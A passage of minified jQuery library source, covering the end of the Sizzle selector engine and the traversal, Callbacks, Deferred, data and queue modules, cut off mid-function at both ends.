t=d.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),h.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&y.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),y.push(",.*:")})),(n.matchesSelector=Q.test(m=h.matches||h.webkitMatchesSelector||h.mozMatchesSelector||h.oMatchesSelector||h.msMatchesSelector))&&ue(function(e){n.disconnectedMatch=m.call(e,"*"),m.call(e,"[s!='']:x"),v.push("!=",W)}),y=y.length&&new RegExp(y.join("|")),v=v.length&&new RegExp(v.join("|")),t=Q.test(h.compareDocumentPosition),x=t||Q.test(h.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},D=t?function(e,t){if(e===t)return f=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r||(1&(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!n.sortDetached&&t.compareDocumentPosition(e)===r?e===d||e.ownerDocument===w&&x(w,e)?-1:t===d||t.ownerDocument===w&&x(w,t)?1:c?O(c,e)-O(c,t):0:4&r?-1:1)}:function(e,t){if(e===t)return f=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e===d?-1:t===d?1:i?-1:o?1:c?O(c,e)-O(c,t):0;if(i===o)return ce(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?ce(a[r],s[r]):a[r]===w?-1:s[r]===w?1:0},d):d},oe.matches=function(e,t){return oe(e,null,null,t)},oe.matchesSelector=function(e,t){if((e.ownerDocument||e)!==d&&p(e),t=t.replace(z,"='$1']"),n.matchesSelector&&g&&!S[t+" "]&&(!v||!v.test(t))&&(!y||!y.test(t)))try{var r=m.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){}return oe(t,d,null,[e]).length>0},oe.contains=function(e,t){return(e.ownerDocument||e)!==d&&p(e),x(e,t)},oe.attr=function(e,t){(e.ownerDocument||e)!==d&&p(e);var i=r.attrHandle[t.toLowerCase()],o=i&&N.call(r.attrHandle,t.toLowerCase())?i(e,t,!g):void 0;return void 0!==o?o:n.attributes||!g?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null},oe.escape=function(e){return(e+"").replace(te,ne)},oe.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},oe.uniqueSort=function(e){var t,r=[],i=0,o=0;if(f=!n.detectDuplicates,c=!n.sortStable&&e.slice(0),e.sort(D),f){while(t=e[o++])t===e[o]&&(i=r.push(o));while(i--)e.splice(r[i],1)}return c=null,e},i=oe.getText=function(e){var t,n="",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=i(e)}else if(3===o||4===o)return e.nodeValue}else while(t=e[r++])n+=i(t);return n},(r=oe.selectors={cacheLength:50,createPseudo:se,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Z,ee),e[3]=(e[3]||e[4]||e[5]||"").replace(Z,ee),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||oe.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&oe.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return V.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=a(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(Z,ee).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=E[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&E(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=oe.attr(r,e);return null==i?"!="===t:!t||(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i.replace($," ")+" ").indexOf(n)>-1:"|="===t&&(i===n||i.slice(0,n.length+1)===n+"-"))}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,f,p,d,h,g=o!==a?"nextSibling":"previousSibling",y=t.parentNode,v=s&&t.nodeName.toLowerCase(),m=!u&&!s,x=!1;if(y){if(o){while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===v:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?y.firstChild:y.lastChild],a&&m){x=(d=(l=(c=(f=(p=y)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1])&&l[2],p=d&&y.childNodes[d];while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if(1===p.nodeType&&++x&&p===t){c[e]=[T,d,x];break}}else if(m&&(x=d=(l=(c=(f=(p=t)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1]),!1===x)while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if((s?p.nodeName.toLowerCase()===v:1===p.nodeType)&&++x&&(m&&((c=(f=p[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]=[T,x]),p===t))break;return(x-=i)===r||x%r==0&&x/r>=0}}},PSEUDO:function(e,t){var n,i=r.pseudos[e]||r.setFilters[e.toLowerCase()]||oe.error("unsupported pseudo: "+e);return i[b]?i(t):i.length>1?(n=[e,e,"",t],r.setFilters.hasOwnProperty(e.toLowerCase())?se(function(e,n){var r,o=i(e,t),a=o.length;while(a--)e[r=O(e,o[a])]=!(n[r]=o[a])}):function(e){return i(e,0,n)}):i}},pseudos:{not:se(function(e){var t=[],n=[],r=s(e.replace(B,"$1"));return r[b]?se(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),t[0]=null,!n.pop()}}),has:se(function(e){return function(t){return oe(e,t).length>0}}),contains:se(function(e){return e=e.replace(Z,ee),function(t){return(t.textContent||t.innerText||i(t)).indexOf(e)>-1}}),lang:se(function(e){return U.test(e||"")||oe.error("unsupported lang: "+e),e=e.replace(Z,ee).toLowerCase(),function(t){var n;do{if(n=g?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return(n=n.toLowerCase())===e||0===n.indexOf(e+"-")}while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===h},focus:function(e){return e===d.activeElement&&(!d.hasFocus||d.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:de(!1),disabled:de(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!r.pseudos.empty(e)},header:function(e){return Y.test(e.nodeName)},input:function(e){return G.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:he(function(){return[0]}),last:he(function(e,t){return[t-1]}),eq:he(function(e,t,n){return[n<0?n+t:n]}),even:he(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:he(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:he(function(e,t,n){for(var r=n<0?n+t:n;--r>=0;)e.push(r);return e}),gt:he(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=r.pseudos.eq;for(t in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})r.pseudos[t]=fe(t);for(t in{submit:!0,reset:!0})r.pseudos[t]=pe(t);function ye(){}ye.prototype=r.filters=r.pseudos,r.setFilters=new ye,a=oe.tokenize=function(e,t){var n,i,o,a,s,u,l,c=k[e+" "];if(c)return t?0:c.slice(0);s=e,u=[],l=r.preFilter;while(s){n&&!(i=F.exec(s))||(i&&(s=s.slice(i[0].length)||s),u.push(o=[])),n=!1,(i=_.exec(s))&&(n=i.shift(),o.push({value:n,type:i[0].replace(B," ")}),s=s.slice(n.length));for(a in r.filter)!(i=V[a].exec(s))||l[a]&&!(i=l[a](i))||(n=i.shift(),o.push({value:n,type:a,matches:i}),s=s.slice(n.length));if(!n)break}return t?s.length:s?oe.error(e):k(e,u).slice(0)};function ve(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function me(e,t,n){var r=t.dir,i=t.next,o=i||r,a=n&&"parentNode"===o,s=C++;return t.first?function(t,n,i){while(t=t[r])if(1===t.nodeType||a)return e(t,n,i);return!1}:function(t,n,u){var l,c,f,p=[T,s];if(u){while(t=t[r])if((1===t.nodeType||a)&&e(t,n,u))return!0}else while(t=t[r])if(1===t.nodeType||a)if(f=t[b]||(t[b]={}),c=f[t.uniqueID]||(f[t.uniqueID]={}),i&&i===t.nodeName.toLowerCase())t=t[r]||t;else{if((l=c[o])&&l[0]===T&&l[1]===s)return p[2]=l[2];if(c[o]=p,p[2]=e(t,n,u))return!0}return!1}}function xe(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function be(e,t,n){for(var r=0,i=t.length;r<i;r++)oe(e,t[r],n);return n}function we(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function Te(e,t,n,r,i,o){return r&&!r[b]&&(r=Te(r)),i&&!i[b]&&(i=Te(i,o)),se(function(o,a,s,u){var l,c,f,p=[],d=[],h=a.length,g=o||be(t||"*",s.nodeType?[s]:s,[]),y=!e||!o&&t?g:we(g,p,e,s,u),v=n?i||(o?e:h||r)?[]:a:y;if(n&&n(y,v,s,u),r){l=we(v,d),r(l,[],s,u),c=l.length;while(c--)(f=l[c])&&(v[d[c]]=!(y[d[c]]=f))}if(o){if(i||e){if(i){l=[],c=v.length;while(c--)(f=v[c])&&l.push(y[c]=f);i(null,v=[],l,u)}c=v.length;while(c--)(f=v[c])&&(l=i?O(o,f):p[c])>-1&&(o[l]=!(a[l]=f))}}else v=we(v===a?v.splice(h,v.length):v),i?i(null,a,v,u):L.apply(a,v)})}function Ce(e){for(var t,n,i,o=e.length,a=r.relative[e[0].type],s=a||r.relative[" "],u=a?1:0,c=me(function(e){return e===t},s,!0),f=me(function(e){return O(t,e)>-1},s,!0),p=[function(e,n,r){var i=!a&&(r||n!==l)||((t=n).nodeType?c(e,n,r):f(e,n,r));return t=null,i}];u<o;u++)if(n=r.relative[e[u].type])p=[me(xe(p),n)];else{if((n=r.filter[e[u].type].apply(null,e[u].matches))[b]){for(i=++u;i<o;i++)if(r.relative[e[i].type])break;return Te(u>1&&xe(p),u>1&&ve(e.slice(0,u-1).concat({value:" "===e[u-2].type?"*":""})).replace(B,"$1"),n,u<i&&Ce(e.slice(u,i)),i<o&&Ce(e=e.slice(i)),i<o&&ve(e))}p.push(n)}return xe(p)}function Ee(e,t){var n=t.length>0,i=e.length>0,o=function(o,a,s,u,c){var f,h,y,v=0,m="0",x=o&&[],b=[],w=l,C=o||i&&r.find.TAG("*",c),E=T+=null==w?1:Math.random()||.1,k=C.length;for(c&&(l=a===d||a||c);m!==k&&null!=(f=C[m]);m++){if(i&&f){h=0,a||f.ownerDocument===d||(p(f),s=!g);while(y=e[h++])if(y(f,a||d,s)){u.push(f);break}c&&(T=E)}n&&((f=!y&&f)&&v--,o&&x.push(f))}if(v+=m,n&&m!==v){h=0;while(y=t[h++])y(x,b,a,s);if(o){if(v>0)while(m--)x[m]||b[m]||(b[m]=j.call(u));b=we(b)}L.apply(u,b),c&&!o&&b.length>0&&v+t.length>1&&oe.uniqueSort(u)}return c&&(T=E,l=w),x};return n?se(o):o}return s=oe.compile=function(e,t){var n,r=[],i=[],o=S[e+" "];if(!o){t||(t=a(e)),n=t.length;while(n--)(o=Ce(t[n]))[b]?r.push(o):i.push(o);(o=S(e,Ee(i,r))).selector=e}return o},u=oe.select=function(e,t,n,i){var o,u,l,c,f,p="function"==typeof e&&e,d=!i&&a(e=p.selector||e);if(n=n||[],1===d.length){if((u=d[0]=d[0].slice(0)).length>2&&"ID"===(l=u[0]).type&&9===t.nodeType&&g&&r.relative[u[1].type]){if(!(t=(r.find.ID(l.matches[0].replace(Z,ee),t)||[])[0]))return n;p&&(t=t.parentNode),e=e.slice(u.shift().value.length)}o=V.needsContext.test(e)?0:u.length;while(o--){if(l=u[o],r.relative[c=l.type])break;if((f=r.find[c])&&(i=f(l.matches[0].replace(Z,ee),K.test(u[0].type)&&ge(t.parentNode)||t))){if(u.splice(o,1),!(e=i.length&&ve(u)))return L.apply(n,i),n;break}}}return(p||s(e,d))(i,t,!g,n,!t||K.test(e)&&ge(t.parentNode)||t),n},n.sortStable=b.split("").sort(D).join("")===b,n.detectDuplicates=!!f,p(),n.sortDetached=ue(function(e){return 1&e.compareDocumentPosition(d.createElement("fieldset"))}),ue(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||le("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),n.attributes&&ue(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||le("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ue(function(e){return null==e.getAttribute("disabled")})||le(P,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),oe}(e);w.find=E,w.expr=E.selectors,w.expr[":"]=w.expr.pseudos,w.uniqueSort=w.unique=E.uniqueSort,w.text=E.getText,w.isXMLDoc=E.isXML,w.contains=E.contains,w.escapeSelector=E.escape;var k=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&w(e).is(n))break;r.push(e)}return r},S=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},D=w.expr.match.needsContext;function N(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var A=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,t,n){return g(t)?w.grep(e,function(e,r){return!!t.call(e,r,e)!==n}):t.nodeType?w.grep(e,function(e){return e===t!==n}):"string"!=typeof t?w.grep(e,function(e){return u.call(t,e)>-1!==n}):w.filter(t,e,n)}w.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?w.find.matchesSelector(r,e)?[r]:[]:w.find.matches(e,w.grep(t,function(e){return 1===e.nodeType}))},w.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(w(e).filter(function(){for(t=0;t<r;t++)if(w.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)w.find(e,i[t],n);return r>1?w.uniqueSort(n):n},filter:function(e){return this.pushStack(j(this,e||[],!1))},not:function(e){return this.pushStack(j(this,e||[],!0))},is:function(e){return!!j(this,"string"==typeof e&&D.test(e)?w(e):e||[],!1).length}});var q,L=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(w.fn.init=function(e,t,n){var i,o;if(!e)return this;if(n=n||q,"string"==typeof e){if(!(i="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:L.exec(e))||!i[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(i[1]){if(t=t instanceof w?t[0]:t,w.merge(this,w.parseHTML(i[1],t&&t.nodeType?t.ownerDocument||t:r,!0)),A.test(i[1])&&w.isPlainObject(t))for(i in t)g(this[i])?this[i](t[i]):this.attr(i,t[i]);return this}return(o=r.getElementById(i[2]))&&(this[0]=o,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):g(e)?void 0!==n.ready?n.ready(e):e(w):w.makeArray(e,this)}).prototype=w.fn,q=w(r);var H=/^(?:parents|prev(?:Until|All))/,O={children:!0,contents:!0,next:!0,prev:!0};w.fn.extend({has:function(e){var t=w(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(w.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&w(e);if(!D.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?a.index(n)>-1:1===n.nodeType&&w.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?w.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?u.call(w(e),this[0]):u.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(w.uniqueSort(w.merge(this.get(),w(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function P(e,t){while((e=e[t])&&1!==e.nodeType);return e}w.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return k(e,"parentNode")},parentsUntil:function(e,t,n){return k(e,"parentNode",n)},next:function(e){return P(e,"nextSibling")},prev:function(e){return P(e,"previousSibling")},nextAll:function(e){return k(e,"nextSibling")},prevAll:function(e){return k(e,"previousSibling")},nextUntil:function(e,t,n){return k(e,"nextSibling",n)},prevUntil:function(e,t,n){return k(e,"previousSibling",n)},siblings:function(e){return S((e.parentNode||{}).firstChild,e)},children:function(e){return S(e.firstChild)},contents:function(e){return N(e,"iframe")?e.contentDocument:(N(e,"template")&&(e=e.content||e),w.merge([],e.childNodes))}},function(e,t){w.fn[e]=function(n,r){var i=w.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=w.filter(r,i)),this.length>1&&(O[e]||w.uniqueSort(i),H.test(e)&&i.reverse()),this.pushStack(i)}});var M=/[^\x20\t\r\n\f]+/g;function R(e){var t={};return w.each(e.match(M)||[],function(e,n){t[n]=!0}),t}w.Callbacks=function(e){e="string"==typeof e?R(e):w.extend({},e);var t,n,r,i,o=[],a=[],s=-1,u=function(){for(i=i||e.once,r=t=!0;a.length;s=-1){n=a.shift();while(++s<o.length)!1===o[s].apply(n[0],n[1])&&e.stopOnFalse&&(s=o.length,n=!1)}e.memory||(n=!1),t=!1,i&&(o=n?[]:"")},l={add:function(){return o&&(n&&!t&&(s=o.length-1,a.push(n)),function t(n){w.each(n,function(n,r){g(r)?e.unique&&l.has(r)||o.push(r):r&&r.length&&"string"!==x(r)&&t(r)})}(arguments),n&&!t&&u()),this},remove:function(){return w.each(arguments,function(e,t){var n;while((n=w.inArray(t,o,n))>-1)o.splice(n,1),n<=s&&s--}),this},has:function(e){return e?w.inArray(e,o)>-1:o.length>0},empty:function(){return o&&(o=[]),this},disable:function(){return i=a=[],o=n="",this},disabled:function(){return!o},lock:function(){return i=a=[],n||t||(o=n=""),this},locked:function(){return!!i},fireWith:function(e,n){return i||(n=[e,(n=n||[]).slice?n.slice():n],a.push(n),t||u()),this},fire:function(){return l.fireWith(this,arguments),this},fired:function(){return!!r}};return l};function I(e){return e}function W(e){throw e}function $(e,t,n,r){var i;try{e&&g(i=e.promise)?i.call(e).done(t).fail(n):e&&g(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}w.extend({Deferred:function(t){var n=[["notify","progress",w.Callbacks("memory"),w.Callbacks("memory"),2],["resolve","done",w.Callbacks("once memory"),w.Callbacks("once memory"),0,"resolved"],["reject","fail",w.Callbacks("once memory"),w.Callbacks("once memory"),1,"rejected"]],r="pending",i={state:function(){return r},always:function(){return o.done(arguments).fail(arguments),this},"catch":function(e){return i.then(null,e)},pipe:function(){var e=arguments;return w.Deferred(function(t){w.each(n,function(n,r){var i=g(e[r[4]])&&e[r[4]];o[r[1]](function(){var e=i&&i.apply(this,arguments);e&&g(e.promise)?e.promise().progress(t.notify).done(t.resolve).fail(t.reject):t[r[0]+"With"](this,i?[e]:arguments)})}),e=null}).promise()},then:function(t,r,i){var o=0;function a(t,n,r,i){return function(){var s=this,u=arguments,l=function(){var e,l;if(!(t<o)){if((e=r.apply(s,u))===n.promise())throw new TypeError("Thenable self-resolution");l=e&&("object"==typeof e||"function"==typeof e)&&e.then,g(l)?i?l.call(e,a(o,n,I,i),a(o,n,W,i)):(o++,l.call(e,a(o,n,I,i),a(o,n,W,i),a(o,n,I,n.notifyWith))):(r!==I&&(s=void 0,u=[e]),(i||n.resolveWith)(s,u))}},c=i?l:function(){try{l()}catch(e){w.Deferred.exceptionHook&&w.Deferred.exceptionHook(e,c.stackTrace),t+1>=o&&(r!==W&&(s=void 0,u=[e]),n.rejectWith(s,u))}};t?c():(w.Deferred.getStackHook&&(c.stackTrace=w.Deferred.getStackHook()),e.setTimeout(c))}}return w.Deferred(function(e){n[0][3].add(a(0,e,g(i)?i:I,e.notifyWith)),n[1][3].add(a(0,e,g(t)?t:I)),n[2][3].add(a(0,e,g(r)?r:W))}).promise()},promise:function(e){return null!=e?w.extend(e,i):i}},o={};return w.each(n,function(e,t){var a=t[2],s=t[5];i[t[1]]=a.add,s&&a.add(function(){r=s},n[3-e][2].disable,n[3-e][3].disable,n[0][2].lock,n[0][3].lock),a.add(t[3].fire),o[t[0]]=function(){return o[t[0]+"With"](this===o?void 0:this,arguments),this},o[t[0]+"With"]=a.fireWith}),i.promise(o),t&&t.call(o,o),o},when:function(e){var t=arguments.length,n=t,r=Array(n),i=o.call(arguments),a=w.Deferred(),s=function(e){return function(n){r[e]=this,i[e]=arguments.length>1?o.call(arguments):n,--t||a.resolveWith(r,i)}};if(t<=1&&($(e,a.done(s(n)).resolve,a.reject,!t),"pending"===a.state()||g(i[n]&&i[n].then)))return a.then();while(n--)$(i[n],s(n),a.reject);return a.promise()}});var B=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;w.Deferred.exceptionHook=function(t,n){e.console&&e.console.warn&&t&&B.test(t.name)&&e.console.warn("jQuery.Deferred exception: "+t.message,t.stack,n)},w.readyException=function(t){e.setTimeout(function(){throw t})};var F=w.Deferred();w.fn.ready=function(e){return F.then(e)["catch"](function(e){w.readyException(e)}),this},w.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--w.readyWait:w.isReady)||(w.isReady=!0,!0!==e&&--w.readyWait>0||F.resolveWith(r,[w]))}}),w.ready.then=F.then;function _(){r.removeEventListener("DOMContentLoaded",_),e.removeEventListener("load",_),w.ready()}"complete"===r.readyState||"loading"!==r.readyState&&!r.documentElement.doScroll?e.setTimeout(w.ready):(r.addEventListener("DOMContentLoaded",_),e.addEventListener("load",_));var z=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===x(n)){i=!0;for(s in n)z(e,t,s,n[s],!0,o,a)}else if(void 0!==r&&(i=!0,g(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(w(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},X=/^-ms-/,U=/-([a-z])/g;function V(e,t){return t.toUpperCase()}function G(e){return e.replace(X,"ms-").replace(U,V)}var Y=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function Q(){this.expando=w.expando+Q.uid++}Q.uid=1,Q.prototype={cache:function(e){var t=e[this.expando];return t||(t={},Y(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[G(t)]=n;else for(r in t)i[G(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][G(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(G):(t=G(t))in r?[t]:t.match(M)||[]).length;while(n--)delete r[t[n]]}(void 0===t||w.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!w.isEmptyObject(t)}};var J=new Q,K=new Q,Z=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,ee=/[A-Z]/g;function te(e){return"true"===e||"false"!==e&&("null"===e?null:e===+e+""?+e:Z.test(e)?JSON.parse(e):e)}function ne(e,t,n){var r;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(ee,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n=te(n)}catch(e){}K.set(e,t,n)}else n=void 0;return n}w.extend({hasData:function(e){return K.hasData(e)||J.hasData(e)},data:function(e,t,n){return K.access(e,t,n)},removeData:function(e,t){K.remove(e,t)},_data:function(e,t,n){return J.access(e,t,n)},_removeData:function(e,t){J.remove(e,t)}}),w.fn.extend({data:function(e,t){var n,r,i,o=this[0],a=o&&o.attributes;if(void 0===e){if(this.length&&(i=K.get(o),1===o.nodeType&&!J.get(o,"hasDataAttrs"))){n=a.length;while(n--)a[n]&&0===(r=a[n].name).indexOf("data-")&&(r=G(r.slice(5)),ne(o,r,i[r]));J.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof e?this.each(function(){K.set(this,e)}):z(this,function(t){var n;if(o&&void 0===t){if(void 0!==(n=K.get(o,e)))return n;if(void 0!==(n=ne(o,e)))return n}else this.each(function(){K.set(this,e,t)})},null,t,arguments.length>1,null,!0)},removeData:function(e){return this.each(function(){K.remove(this,e)})}}),w.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=J.get(e,t),n&&(!r||Array.isArray(n)?r=J.access(e,t,w.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=w.queue(e,t),r=n.length,i=n.shift(),o=w._queueHooks(e,t),a=function(){w.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return J.get(e,n)||J.access(e,n,{empty:w.Callbacks("once memory").add(function(){J.remove(e,[t+"queue",n])})})}}),w.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length<n?w.queue(this[0],e):void 0===t?this:this.each(function(){var n=w.queue(this,e,t);w._queueHooks(this,e),"fx"===e&&"inprogress"!==n[0]&&w.dequeue(this,e)})},dequeue:function(e){return this.each(function(){w.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=w.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=J.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var re=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,ie=new RegExp("^(?:([+-])=|)("+re+")([a-z%]*)$","i"),oe=["Top","Right","Bottom","Left"],ae=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&w.contains(e.ownerDocument,e)&&"none"===w.css(e,"display")},se=function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i};function ue(e,t,n,r){var i,o,a=20,s=r?function(){return r.cur()}:function(){return w.css(e,t,"")},u=s(),l=n&&n[3]||(w.cssNumber[t]?"":"px"),c=(w.cssNumber[t]||"px"!==l&&+u)&&ie.exec(w.css(e,t));if(c&&c[3]!==l){u/=2,l=l||c[3],c=+u||1;while(a--)w.style(e,t,c+l),(1-o)*(1-(o=s()/u||.5))<=0&&(a=0),c/=o;c*=2,w.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var le={};function ce(e){var 